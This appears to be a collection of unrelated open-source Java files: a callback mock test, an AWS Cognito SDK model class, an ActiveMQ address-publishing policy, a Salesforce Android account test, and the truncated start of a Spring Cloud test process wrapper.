callerSample.targetCallWithSuccessAndErrorCallBackCheckedException();
verify(sampleTarget).targetCallWithCheckedException();
verify(errorCallBack).error(anyString(),
any(SampleException.class));
verify(successCallBack,
never()).callback(anyString());
}
@Test
public void callerSampleCallBackPrimitiveTypeTest() throws SampleException {
when(sampleTarget.targetPrimitiveType()).thenThrow(SampleException.class);
callerMock = new CallerMock<SampleTarget>(sampleTarget);
callerSample = new CallerSampleClient(callerMock,
successCallBack,
errorCallBack);
callerSample.targetPrimitiveType();
verify(sampleTarget).targetPrimitiveType();
verify(errorCallBack).error(anyString(),
any(SampleException.class));
verify(successCallBack,
never()).callback(anyString());
}
@Test
public void callerSampleCallBackErrorbyRunTimeExceptionTest() {
SampleTarget target = new SampleTarget() {
@Override
public String targetCall() {
throw new RuntimeException();
}
@Override
public String targetCallWithCheckedException() throws SampleException {
return null;
}
@Override
public long targetPrimitiveType() {
return 0;
}
};
callerMock = new CallerMock<SampleTarget>(target);
callerSample = new CallerSampleClient(callerMock,
successCallBack,
errorCallBack);
callerSample.targetCallWithSuccessAndErrorCallBack();
verify(successCallBack,
never()).callback(anyString());
verify(errorCallBack).error(anyString(),
any(RuntimeException.class));
}
private interface SampleTarget {
String targetCall();
String targetCallWithCheckedException() throws SampleException;
long targetPrimitiveType();
}
private class CallerSampleClient {
private RemoteCallback successCallBack;
private ErrorCallback errorCallBack;
private Caller<SampleTarget> caller;
@Inject
public CallerSampleClient(Caller<SampleTarget> caller) {
this.caller = caller;
}
public CallerSampleClient(CallerMock<SampleTarget> callerMock,
RemoteCallback successCallBack,
ErrorCallback errorCallBack) {
this.caller = callerMock;
this.successCallBack = successCallBack;
this.errorCallBack = errorCallBack;
}
public void targetCall() {
caller.call().targetCall();
}
public void targetCallWithSuccessCallBack() {
caller.call(successCallBack).targetCall();
}
public void targetCallWithSuccessAndErrorCallBack() {
caller.call(successCallBack,
errorCallBack).targetCall();
}
public void targetCallWithSuccessAndErrorCallBackCheckedException() throws SampleException {
caller.call(successCallBack,
errorCallBack).targetCallWithCheckedException();
}
public long targetPrimitiveType() {
return caller.call(successCallBack,
errorCallBack).targetPrimitiveType();
}
}
private class SampleException extends Exception {
}
}
| |
/*
* Copyright 2014-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with
* the License. A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions
* and limitations under the License.
*/
package com.amazonaws.services.cognitoidp.model;
import java.io.Serializable;
import javax.annotation.Generated;
import com.amazonaws.protocol.StructuredPojo;
import com.amazonaws.protocol.ProtocolMarshaller;
/**
* <p>
* A container for the UI customization information for a user pool's built-in app UI.
* </p>
*
* @see <a href="http://docs.aws.amazon.com/goto/WebAPI/cognito-idp-2016-04-18/UICustomizationType" target="_top">AWS
* API Documentation</a>
*/
@Generated("com.amazonaws:aws-java-sdk-code-generator")
public class UICustomizationType implements Serializable, Cloneable, StructuredPojo {
/**
* <p>
* The user pool ID for the user pool.
* </p>
*/
private String userPoolId;
/**
* <p>
* The client ID for the client app.
* </p>
*/
private String clientId;
/**
* <p>
* The logo image for the UI customization.
* </p>
*/
private String imageUrl;
/**
* <p>
* The CSS values in the UI customization.
* </p>
*/
private String cSS;
/**
* <p>
* The CSS version number.
* </p>
*/
private String cSSVersion;
/**
* <p>
* The last-modified date for the UI customization.
* </p>
*/
private java.util.Date lastModifiedDate;
/**
* <p>
* The creation date for the UI customization.
* </p>
*/
private java.util.Date creationDate;
/**
* <p>
* The user pool ID for the user pool.
* </p>
*
* @param userPoolId
* The user pool ID for the user pool.
*/
public void setUserPoolId(String userPoolId) {
this.userPoolId = userPoolId;
}
/**
* <p>
* The user pool ID for the user pool.
* </p>
*
* @return The user pool ID for the user pool.
*/
public String getUserPoolId() {
return this.userPoolId;
}
/**
* <p>
* The user pool ID for the user pool.
* </p>
*
* @param userPoolId
* The user pool ID for the user pool.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public UICustomizationType withUserPoolId(String userPoolId) {
setUserPoolId(userPoolId);
return this;
}
/**
* <p>
* The client ID for the client app.
* </p>
*
* @param clientId
* The client ID for the client app.
*/
public void setClientId(String clientId) {
this.clientId = clientId;
}
/**
* <p>
* The client ID for the client app.
* </p>
*
* @return The client ID for the client app.
*/
public String getClientId() {
return this.clientId;
}
/**
* <p>
* The client ID for the client app.
* </p>
*
* @param clientId
* The client ID for the client app.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public UICustomizationType withClientId(String clientId) {
setClientId(clientId);
return this;
}
/**
* <p>
* The logo image for the UI customization.
* </p>
*
* @param imageUrl
* The logo image for the UI customization.
*/
public void setImageUrl(String imageUrl) {
this.imageUrl = imageUrl;
}
/**
* <p>
* The logo image for the UI customization.
* </p>
*
* @return The logo image for the UI customization.
*/
public String getImageUrl() {
return this.imageUrl;
}
/**
* <p>
* The logo image for the UI customization.
* </p>
*
* @param imageUrl
* The logo image for the UI customization.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public UICustomizationType withImageUrl(String imageUrl) {
setImageUrl(imageUrl);
return this;
}
/**
* <p>
* The CSS values in the UI customization.
* </p>
*
* @param cSS
* The CSS values in the UI customization.
*/
public void setCSS(String cSS) {
this.cSS = cSS;
}
/**
* <p>
* The CSS values in the UI customization.
* </p>
*
* @return The CSS values in the UI customization.
*/
public String getCSS() {
return this.cSS;
}
/**
* <p>
* The CSS values in the UI customization.
* </p>
*
* @param cSS
* The CSS values in the UI customization.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public UICustomizationType withCSS(String cSS) {
setCSS(cSS);
return this;
}
/**
* <p>
* The CSS version number.
* </p>
*
* @param cSSVersion
* The CSS version number.
*/
public void setCSSVersion(String cSSVersion) {
this.cSSVersion = cSSVersion;
}
/**
* <p>
* The CSS version number.
* </p>
*
* @return The CSS version number.
*/
public String getCSSVersion() {
return this.cSSVersion;
}
/**
* <p>
* The CSS version number.
* </p>
*
* @param cSSVersion
* The CSS version number.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public UICustomizationType withCSSVersion(String cSSVersion) {
setCSSVersion(cSSVersion);
return this;
}
/**
* <p>
* The last-modified date for the UI customization.
* </p>
*
* @param lastModifiedDate
* The last-modified date for the UI customization.
*/
public void setLastModifiedDate(java.util.Date lastModifiedDate) {
this.lastModifiedDate = lastModifiedDate;
}
/**
* <p>
* The last-modified date for the UI customization.
* </p>
*
* @return The last-modified date for the UI customization.
*/
public java.util.Date getLastModifiedDate() {
return this.lastModifiedDate;
}
/**
* <p>
* The last-modified date for the UI customization.
* </p>
*
* @param lastModifiedDate
* The last-modified date for the UI customization.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public UICustomizationType withLastModifiedDate(java.util.Date lastModifiedDate) {
setLastModifiedDate(lastModifiedDate);
return this;
}
/**
* <p>
* The creation date for the UI customization.
* </p>
*
* @param creationDate
* The creation date for the UI customization.
*/
public void setCreationDate(java.util.Date creationDate) {
this.creationDate = creationDate;
}
/**
* <p>
* The creation date for the UI customization.
* </p>
*
* @return The creation date for the UI customization.
*/
public java.util.Date getCreationDate() {
return this.creationDate;
}
/**
* <p>
* The creation date for the UI customization.
* </p>
*
* @param creationDate
* The creation date for the UI customization.
* @return Returns a reference to this object so that method calls can be chained together.
*/
public UICustomizationType withCreationDate(java.util.Date creationDate) {
setCreationDate(creationDate);
return this;
}
/**
* Returns a string representation of this object. This is useful for testing and debugging. Sensitive data will be
* redacted from this string using a placeholder value.
*
* @return A string representation of this object.
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("{");
if (getUserPoolId() != null)
sb.append("UserPoolId: ").append(getUserPoolId()).append(",");
if (getClientId() != null)
sb.append("ClientId: ").append("***Sensitive Data Redacted***").append(",");
if (getImageUrl() != null)
sb.append("ImageUrl: ").append(getImageUrl()).append(",");
if (getCSS() != null)
sb.append("CSS: ").append(getCSS()).append(",");
if (getCSSVersion() != null)
sb.append("CSSVersion: ").append(getCSSVersion()).append(",");
if (getLastModifiedDate() != null)
sb.append("LastModifiedDate: ").append(getLastModifiedDate()).append(",");
if (getCreationDate() != null)
sb.append("CreationDate: ").append(getCreationDate());
sb.append("}");
return sb.toString();
}
@Override
public boolean equals(Object obj) {
if (this == obj)
return true;
if (obj == null)
return false;
if (obj instanceof UICustomizationType == false)
return false;
UICustomizationType other = (UICustomizationType) obj;
if (other.getUserPoolId() == null ^ this.getUserPoolId() == null)
return false;
if (other.getUserPoolId() != null && other.getUserPoolId().equals(this.getUserPoolId()) == false)
return false;
if (other.getClientId() == null ^ this.getClientId() == null)
return false;
if (other.getClientId() != null && other.getClientId().equals(this.getClientId()) == false)
return false;
if (other.getImageUrl() == null ^ this.getImageUrl() == null)
return false;
if (other.getImageUrl() != null && other.getImageUrl().equals(this.getImageUrl()) == false)
return false;
if (other.getCSS() == null ^ this.getCSS() == null)
return false;
if (other.getCSS() != null && other.getCSS().equals(this.getCSS()) == false)
return false;
if (other.getCSSVersion() == null ^ this.getCSSVersion() == null)
return false;
if (other.getCSSVersion() != null && other.getCSSVersion().equals(this.getCSSVersion()) == false)
return false;
if (other.getLastModifiedDate() == null ^ this.getLastModifiedDate() == null)
return false;
if (other.getLastModifiedDate() != null && other.getLastModifiedDate().equals(this.getLastModifiedDate()) == false)
return false;
if (other.getCreationDate() == null ^ this.getCreationDate() == null)
return false;
if (other.getCreationDate() != null && other.getCreationDate().equals(this.getCreationDate()) == false)
return false;
return true;
}
@Override
public int hashCode() {
final int prime = 31;
int hashCode = 1;
hashCode = prime * hashCode + ((getUserPoolId() == null) ? 0 : getUserPoolId().hashCode());
hashCode = prime * hashCode + ((getClientId() == null) ? 0 : getClientId().hashCode());
hashCode = prime * hashCode + ((getImageUrl() == null) ? 0 : getImageUrl().hashCode());
hashCode = prime * hashCode + ((getCSS() == null) ? 0 : getCSS().hashCode());
hashCode = prime * hashCode + ((getCSSVersion() == null) ? 0 : getCSSVersion().hashCode());
hashCode = prime * hashCode + ((getLastModifiedDate() == null) ? 0 : getLastModifiedDate().hashCode());
hashCode = prime * hashCode + ((getCreationDate() == null) ? 0 : getCreationDate().hashCode());
return hashCode;
}
@Override
public UICustomizationType clone() {
try {
return (UICustomizationType) super.clone();
} catch (CloneNotSupportedException e) {
throw new IllegalStateException("Got a CloneNotSupportedException from Object.clone() " + "even though we're Cloneable!", e);
}
}
@com.amazonaws.annotation.SdkInternalApi
@Override
public void marshall(ProtocolMarshaller protocolMarshaller) {
com.amazonaws.services.cognitoidp.model.transform.UICustomizationTypeMarshaller.getInstance().marshall(this, protocolMarshaller);
}
}
| |
/**
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.activemq.broker;
import java.net.InetAddress;
import java.net.URI;
import java.net.UnknownHostException;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
import org.apache.activemq.util.InetAddressUtil;
/**
* Policy object that controls how a TransportConnector publishes the connector's
* address to the outside world. By default the connector will publish itself
* using the resolved host name of the bound server socket.
*
* @org.apache.xbean.XBean
*/
public class PublishedAddressPolicy {
private String clusterClientUriQuery;
private PublishedHostStrategy publishedHostStrategy = PublishedHostStrategy.DEFAULT;
private Map<Integer, Integer> portMapping = new HashMap<Integer, Integer>();
private Map<String, String> hostMapping = new HashMap<String, String>();
/**
* Defines the value of the published host value.
*/
public enum PublishedHostStrategy {
DEFAULT,
IPADDRESS,
HOSTNAME,
FQDN;
public static PublishedHostStrategy getValue(String value) {
return valueOf(value.toUpperCase(Locale.ENGLISH));
}
}
/**
* Using the supplied TransportConnector this method returns the String that will
* be used to update clients with this connector's connect address.
*
* @param connector
* The TransportConnector whose address is to be published.
* @return a string URI address that a client can use to connect to this Transport.
* @throws Exception
*/
public URI getPublishableConnectURI(TransportConnector connector) throws Exception {
URI connectorURI = connector.getConnectUri();
if (connectorURI == null) {
return null;
}
String scheme = connectorURI.getScheme();
if ("vm".equals(scheme)) {
return connectorURI;
}
String userInfo = getPublishedUserInfoValue(connectorURI.getUserInfo());
String host = getPublishedHostValue(connectorURI.getHost());
if (hostMapping.containsKey(host)) {
host = hostMapping.get(host);
}
int port = connectorURI.getPort();
if (portMapping.containsKey(port)) {
port = portMapping.get(port);
}
String path = getPublishedPathValue(connectorURI.getPath());
String fragment = getPublishedFragmentValue(connectorURI.getFragment());
URI publishedURI = new URI(scheme, userInfo, host, port, path, getClusterClientUriQuery(), fragment);
return publishedURI;
}
public String getPublishableConnectString(TransportConnector connector) throws Exception {
return getPublishableConnectURI(connector).toString();
}
/**
* Subclasses can override what host value is published by implementing alternate
* logic for this method.
*
* @param uriHostEntry
*
* @return the value published for the given host.
*
* @throws UnknownHostException
*/
protected String getPublishedHostValue(String uriHostEntry) throws UnknownHostException {
// By default we just republish what was already present.
String result = uriHostEntry;
if (this.publishedHostStrategy.equals(PublishedHostStrategy.IPADDRESS)) {
InetAddress address = InetAddress.getByName(uriHostEntry);
result = address.getHostAddress();
} else if (this.publishedHostStrategy.equals(PublishedHostStrategy.HOSTNAME)) {
InetAddress address = InetAddress.getByName(uriHostEntry);
if (address.isAnyLocalAddress()) {
// make it more human readable and useful, an alternative to 0.0.0.0
result = InetAddressUtil.getLocalHostName();
} else {
result = address.getHostName();
}
} else if (this.publishedHostStrategy.equals(PublishedHostStrategy.FQDN)) {
InetAddress address = InetAddress.getByName(uriHostEntry);
if (address.isAnyLocalAddress()) {
// make it more human readable and useful, an alternative to 0.0.0.0
result = InetAddressUtil.getLocalHostName();
} else {
result = address.getCanonicalHostName();
}
}
return result;
}
/**
* Subclasses can override what path value is published by implementing alternate
* logic for this method. By default this method simply returns what was already
* set as the Path value in the original URI.
*
* @param uriPathEntry
* The original value of the URI path.
*
* @return the desired value for the published URI's path.
*/
protected String getPublishedPathValue(String uriPathEntry) {
return uriPathEntry;
}
/**
* Subclasses can override what host value is published by implementing alternate
* logic for this method. By default this method simply returns what was already
* set as the Fragment value in the original URI.
*
* @param uriFragmentEntry
* The original value of the URI Fragment.
*
* @return the desired value for the published URI's Fragment.
*/
protected String getPublishedFragmentValue(String uriFragmentEntry) {
return uriFragmentEntry;
}
/**
* Subclasses can override what user info value is published by implementing alternate
* logic for this method. By default this method simply returns what was already
* set as the UserInfo value in the original URI.
*
* @param uriUserInfoEntry
* The original value of the URI user info.
*
* @return the desired value for the published URI's user info.
*/
protected String getPublishedUserInfoValue(String uriUserInfoEntry) {
return uriUserInfoEntry;
}
/**
* Gets the URI query that's configured on the published URI that's sent to client's
* when the cluster info is updated.
*
* @return the clusterClientUriQuery
*/
public String getClusterClientUriQuery() {
return clusterClientUriQuery;
}
/**
* Sets the URI query that's configured on the published URI that's sent to client's
* when the cluster info is updated.
*
* @param clusterClientUriQuery the clusterClientUriQuery to set
*/
public void setClusterClientUriQuery(String clusterClientUriQuery) {
this.clusterClientUriQuery = clusterClientUriQuery;
}
/**
* @return the publishedHostStrategy
*/
public PublishedHostStrategy getPublishedHostStrategy() {
return publishedHostStrategy;
}
/**
* @param strategy the publishedHostStrategy to set
*/
public void setPublishedHostStrategy(PublishedHostStrategy strategy) {
this.publishedHostStrategy = strategy;
}
/**
* @param strategy the publishedHostStrategy to set
*/
public void setPublishedHostStrategy(String strategy) {
this.publishedHostStrategy = PublishedHostStrategy.getValue(strategy);
}
/**
* @param portMapping map the ports in restrictive environments
*/
public void setPortMapping(Map<Integer, Integer> portMapping) {
this.portMapping = portMapping;
}
public Map<Integer, Integer> getPortMapping() {
return this.portMapping;
}
/**
* @param hostMapping map the resolved hosts
*/
public void setHostMapping(Map<String, String> hostMapping) {
this.hostMapping = hostMapping;
}
public Map<String, String> getHostMapping() {
return hostMapping;
}
}
| |
/*
* Copyright (c) 2015, salesforce.com, inc.
* All rights reserved.
* Redistribution and use of this software in source and binary forms, with or
* without modification, are permitted provided that the following conditions
* are met:
* - Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* - Neither the name of salesforce.com, inc. nor the names of its contributors
* may be used to endorse or promote products derived from this software without
* specific prior written permission of salesforce.com, inc.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
package com.salesforce.androidsdk.accounts;
import android.os.Bundle;
import android.test.InstrumentationTestCase;
import com.salesforce.androidsdk.app.SalesforceSDKManager;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.Set;
/**
* Tests for {@link UserAccount}
*
* @author aghoneim
*/
public class UserAccountTest extends InstrumentationTestCase {
public static final String TEST_ORG_ID = "test_org_id";
public static final String TEST_USER_ID = "test_user_id";
public static final String TEST_ACCOUNT_NAME = "test_accountname";
public static final String TEST_USERNAME = "test_username";
public static final String TEST_CLIENT_ID = "test_client_d";
public static final String TEST_LOGIN_URL = "https://test.salesforce.com";
public static final String TEST_INSTANCE_URL = "https://cs1.salesforce.com";
public static final String TEST_IDENTITY_URL = "https://test.salesforce.com";
public static final String TEST_COMMUNITY_URL = "https://test.salesforce.com/community";
public static final String TEST_AUTH_TOKEN = "test_auth_token";
public static final String TEST_REFRESH_TOKEN = "test_refresh_token";
public static final String TEST_COMMUNITY_ID = "test_community_id";
public static final String TEST_FIRST_NAME = "firstName";
public static final String TEST_LAST_NAME = "lastName";
public static final String TEST_DISPLAY_NAME = "displayName";
public static final String TEST_EMAIL = "test@email.com";
public static final String TEST_PHOTO_URL = "http://some.photo.url";
public static final String TEST_THUMBNAIL_URL = "http://some.thumbnail.url";
/**
* Tests bundle creation.
*/
public void testConvertAccountToBundle() {
UserAccount account = new UserAccount(TEST_AUTH_TOKEN,
TEST_REFRESH_TOKEN, TEST_LOGIN_URL, TEST_IDENTITY_URL, TEST_INSTANCE_URL,
TEST_ORG_ID, TEST_USER_ID, TEST_USERNAME, TEST_ACCOUNT_NAME,
TEST_CLIENT_ID, TEST_COMMUNITY_ID, TEST_COMMUNITY_URL, TEST_FIRST_NAME,
TEST_LAST_NAME, TEST_DISPLAY_NAME, TEST_EMAIL, TEST_PHOTO_URL, TEST_THUMBNAIL_URL);
Bundle bundle = account.toBundle();
Bundle expectedBundle = createTestAccountBundle();
assertTrue(equalBundles(bundle, expectedBundle));
}
/**
* Tests creating an account from a bundle.
*/
public void testCreateAccountFromBundle() {
Bundle testBundle = createTestAccountBundle();
UserAccount account = new UserAccount(testBundle);
assertEquals("Auth token should match", TEST_AUTH_TOKEN, account.getAuthToken());
assertEquals("Refresh token should match", TEST_REFRESH_TOKEN, account.getRefreshToken());
assertEquals("Login server URL should match", TEST_LOGIN_URL, account.getLoginServer());
assertEquals("Identity URL should match", TEST_IDENTITY_URL, account.getIdUrl());
assertEquals("Instance URL should match", TEST_INSTANCE_URL, account.getInstanceServer());
assertEquals("Org ID should match", TEST_ORG_ID, account.getOrgId());
assertEquals("User ID should match", TEST_USER_ID, account.getUserId());
assertEquals("User name should match", TEST_USERNAME, account.getUsername());
assertEquals("Client ID should match", TEST_CLIENT_ID, account.getClientId());
assertEquals("Account name should match", TEST_ACCOUNT_NAME, account.getAccountName());
assertEquals("Community ID should match", TEST_COMMUNITY_ID, account.getCommunityId());
assertEquals("Community URL should match", TEST_COMMUNITY_URL, account.getCommunityUrl());
assertEquals("First name should match", TEST_FIRST_NAME, account.getFirstName());
assertEquals("Last name should match", TEST_LAST_NAME, account.getLastName());
assertEquals("Display name should match", TEST_DISPLAY_NAME, account.getDisplayName());
assertEquals("Email should match", TEST_EMAIL, account.getEmail());
assertEquals("Photo URL should match", TEST_PHOTO_URL, account.getPhotoUrl());
assertEquals("Thumbnail URL should match", TEST_THUMBNAIL_URL, account.getThumbnailUrl());
}
/**
* Tests creating an account from JSON
*/
public void testCreateAccountFromJSON() throws JSONException {
JSONObject testJSON = createTestAccountJSON();
UserAccount account = new UserAccount(testJSON);
assertEquals("Auth token should match", TEST_AUTH_TOKEN, account.getAuthToken());
assertEquals("Refresh token should match", TEST_REFRESH_TOKEN, account.getRefreshToken());
assertEquals("Login server URL should match", TEST_LOGIN_URL, account.getLoginServer());
assertEquals("Identity URL should match", TEST_IDENTITY_URL, account.getIdUrl());
assertEquals("Instance URL should match", TEST_INSTANCE_URL, account.getInstanceServer());
assertEquals("Org ID should match", TEST_ORG_ID, account.getOrgId());
assertEquals("User ID should match", TEST_USER_ID, account.getUserId());
assertEquals("User name should match", TEST_USERNAME, account.getUsername());
assertEquals("Client ID should match", TEST_CLIENT_ID, account.getClientId());
assertEquals("Community ID should match", TEST_COMMUNITY_ID, account.getCommunityId());
assertEquals("Community URL should match", TEST_COMMUNITY_URL, account.getCommunityUrl());
assertEquals("First name should match", TEST_FIRST_NAME, account.getFirstName());
assertEquals("Last name should match", TEST_LAST_NAME, account.getLastName());
assertEquals("Display name should match", TEST_DISPLAY_NAME, account.getDisplayName());
assertEquals("Email should match", TEST_EMAIL, account.getEmail());
assertEquals("Photo URL should match", TEST_PHOTO_URL, account.getPhotoUrl());
assertEquals("Thumbnail URL should match", TEST_THUMBNAIL_URL, account.getThumbnailUrl());
assertEquals("Account name should match",
String.format("%s (%s) (%s)", TEST_USERNAME, TEST_INSTANCE_URL, SalesforceSDKManager.getInstance().getApplicationName()),
account.getAccountName());
}
/**
* Creates a test {@link JSONObject} with all {@link UserAccount} fields populated
*
* @return {@link JSONObject}
*/
private JSONObject createTestAccountJSON() throws JSONException{
final JSONObject object = new JSONObject();
object.put(UserAccount.AUTH_TOKEN, TEST_AUTH_TOKEN);
object.put(UserAccount.REFRESH_TOKEN, TEST_REFRESH_TOKEN);
object.put(UserAccount.LOGIN_SERVER, TEST_LOGIN_URL);
object.put(UserAccount.ID_URL, TEST_IDENTITY_URL);
object.put(UserAccount.INSTANCE_SERVER, TEST_INSTANCE_URL);
object.put(UserAccount.ORG_ID, TEST_ORG_ID);
object.put(UserAccount.USER_ID, TEST_USER_ID);
object.put(UserAccount.USERNAME, TEST_USERNAME);
object.put(UserAccount.CLIENT_ID, TEST_CLIENT_ID);
object.put(UserAccount.ACCOUNT_NAME, TEST_ACCOUNT_NAME);
object.put(UserAccount.COMMUNITY_ID, TEST_COMMUNITY_ID);
object.put(UserAccount.COMMUNITY_URL, TEST_COMMUNITY_URL);
object.put(UserAccount.FIRST_NAME, TEST_FIRST_NAME);
object.put(UserAccount.LAST_NAME, TEST_LAST_NAME);
object.put(UserAccount.DISPLAY_NAME, TEST_DISPLAY_NAME);
object.put(UserAccount.EMAIL, TEST_EMAIL);
object.put(UserAccount.PHOTO_URL, TEST_PHOTO_URL);
object.put(UserAccount.THUMBNAIL_URL, TEST_THUMBNAIL_URL);
return object;
}
/**
* Creates a test {@link Bundle} with all {@link UserAccount} fields populated
*
* @return {@link Bundle}
*/
private Bundle createTestAccountBundle() {
final Bundle object = new Bundle();
object.putString(UserAccount.AUTH_TOKEN, TEST_AUTH_TOKEN);
object.putString(UserAccount.REFRESH_TOKEN, TEST_REFRESH_TOKEN);
object.putString(UserAccount.LOGIN_SERVER, TEST_LOGIN_URL);
object.putString(UserAccount.ID_URL, TEST_IDENTITY_URL);
object.putString(UserAccount.INSTANCE_SERVER, TEST_INSTANCE_URL);
object.putString(UserAccount.ORG_ID, TEST_ORG_ID);
object.putString(UserAccount.USER_ID, TEST_USER_ID);
object.putString(UserAccount.USERNAME, TEST_USERNAME);
object.putString(UserAccount.CLIENT_ID, TEST_CLIENT_ID);
object.putString(UserAccount.ACCOUNT_NAME, TEST_ACCOUNT_NAME);
object.putString(UserAccount.COMMUNITY_ID, TEST_COMMUNITY_ID);
object.putString(UserAccount.COMMUNITY_URL, TEST_COMMUNITY_URL);
object.putString(UserAccount.FIRST_NAME, TEST_FIRST_NAME);
object.putString(UserAccount.LAST_NAME, TEST_LAST_NAME);
object.putString(UserAccount.DISPLAY_NAME, TEST_DISPLAY_NAME);
object.putString(UserAccount.EMAIL, TEST_EMAIL);
object.putString(UserAccount.PHOTO_URL, TEST_PHOTO_URL);
object.putString(UserAccount.THUMBNAIL_URL, TEST_THUMBNAIL_URL);
return object;
}
/**
* Check for equality of two bundles.
*
* @param one the first bundle
* @param two the second bundle
* @return true if the keys/values match
* false otherwise
*/
public boolean equalBundles(Bundle one, Bundle two) {
if(one.size() != two.size())
return false;
Set<String> setOne = one.keySet();
Object valueOne;
Object valueTwo;
for(String key : setOne) {
valueOne = one.get(key);
valueTwo = two.get(key);
if(valueOne instanceof Bundle && valueTwo instanceof Bundle &&
!equalBundles((Bundle) valueOne, (Bundle) valueTwo)) {
return false;
}
else if(valueOne == null) {
if(valueTwo != null || !two.containsKey(key))
return false;
}
else if(!valueOne.equals(valueTwo))
return false;
}
return true;
}
}
| |
/*
* Copyright 2010-2016 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.cloud.stream.app.test.gemfire.process;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileFilter;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.springframework.cloud.stream.app.test.gemfire.process.support.PidUnavailableException;
import org.springframework.cloud.stream.app.test.gemfire.process.support.ProcessUtils;
import org.springframework.cloud.stream.app.test.gemfire.support.FileSystemUtils;
import org.springframework.cloud.stream.app.test.gemfire.support.IOUtils;
import org.springframework.cloud.stream.app.test.gemfire.support.ThreadUtils;
import org.springframework.cloud.stream.app.test.gemfire.support.ThrowableUtils;
import org.springframework.util.Assert;
import org.springframework.util.FileCopyUtils;
import org.springframework.util.StringUtils;
/**
* The ProcessWrapper class is a wrapper for a Process object representing an OS process and the ProcessBuilder used
* to construct and start the process.
* @author John Blum
* @see java.lang.Process
* @see java.lang.ProcessBuilder
* @since 1.5.0
*/
public class ProcessWrapper {
protected static final boolean DEFAULT_DAEMON_THREAD = true;
protected static final long DEFAULT_WAIT_TIME_MILLISECONDS = TimeUnit.SECONDS.toMillis(15);
private final List<ProcessInputStreamListener> listeners = new CopyOnWriteArrayList<ProcessInputStreamListener>();
protected final Logger log = Logger.getLogger(getClass().getName());
private final Process process;
private final ProcessConfiguration processConfiguration;
public ProcessWrapper(final Process process, final ProcessConfiguration processConfiguration) {
Assert.notNull(process, "The Process object backing this wrapper must not be null!");
Assert.notNull(processConfiguration, "The context and configuration meta-data providing details about"
+ " the environment in which the process is running and how the process was configured must not be " +
"null!");
this.process = process;
this.processConfiguration = processConfiguration;
init();
}
private void init() {
newThread("Process OUT Stream Reader", newProcessInputStreamReader(process.getInputStream())).start();
if (!isRedirectingErrorStream()) {
newThread("Process ERR Stream Reader", newProcessInputStreamReader(process.getErrorStream())).start();
}
}
protected Runnable newProcessInputStreamReader(final InputStream in) {
return new Runnable() {
@Override
public void run() {
if (isRunning()) {
BufferedReader inputReader = new BufferedReader(new InputStreamReader(in));
try {
for (String input = inputReader.readLine(); input != null; input = inputReader.readLine()) {
for (ProcessInputStreamListener listener : listeners) {
listener.onInput(input);
}
}
}
catch (IOException ignore) {
// ignore IO error and just stop reading from the process input stream
// IO error occurred most likely because the process was terminated
}
finally {
IOUtils.close(inputReader);
}
}
}
};
}
protected Thread newThread(final String name, final Runnable task) {
Assert.isTrue(!StringUtils.isEmpty(name), "The name of the Thread must be specified!");
Assert.notNull(task, "The Thread task must not be null!");
Thread thread = new Thread(task, name);
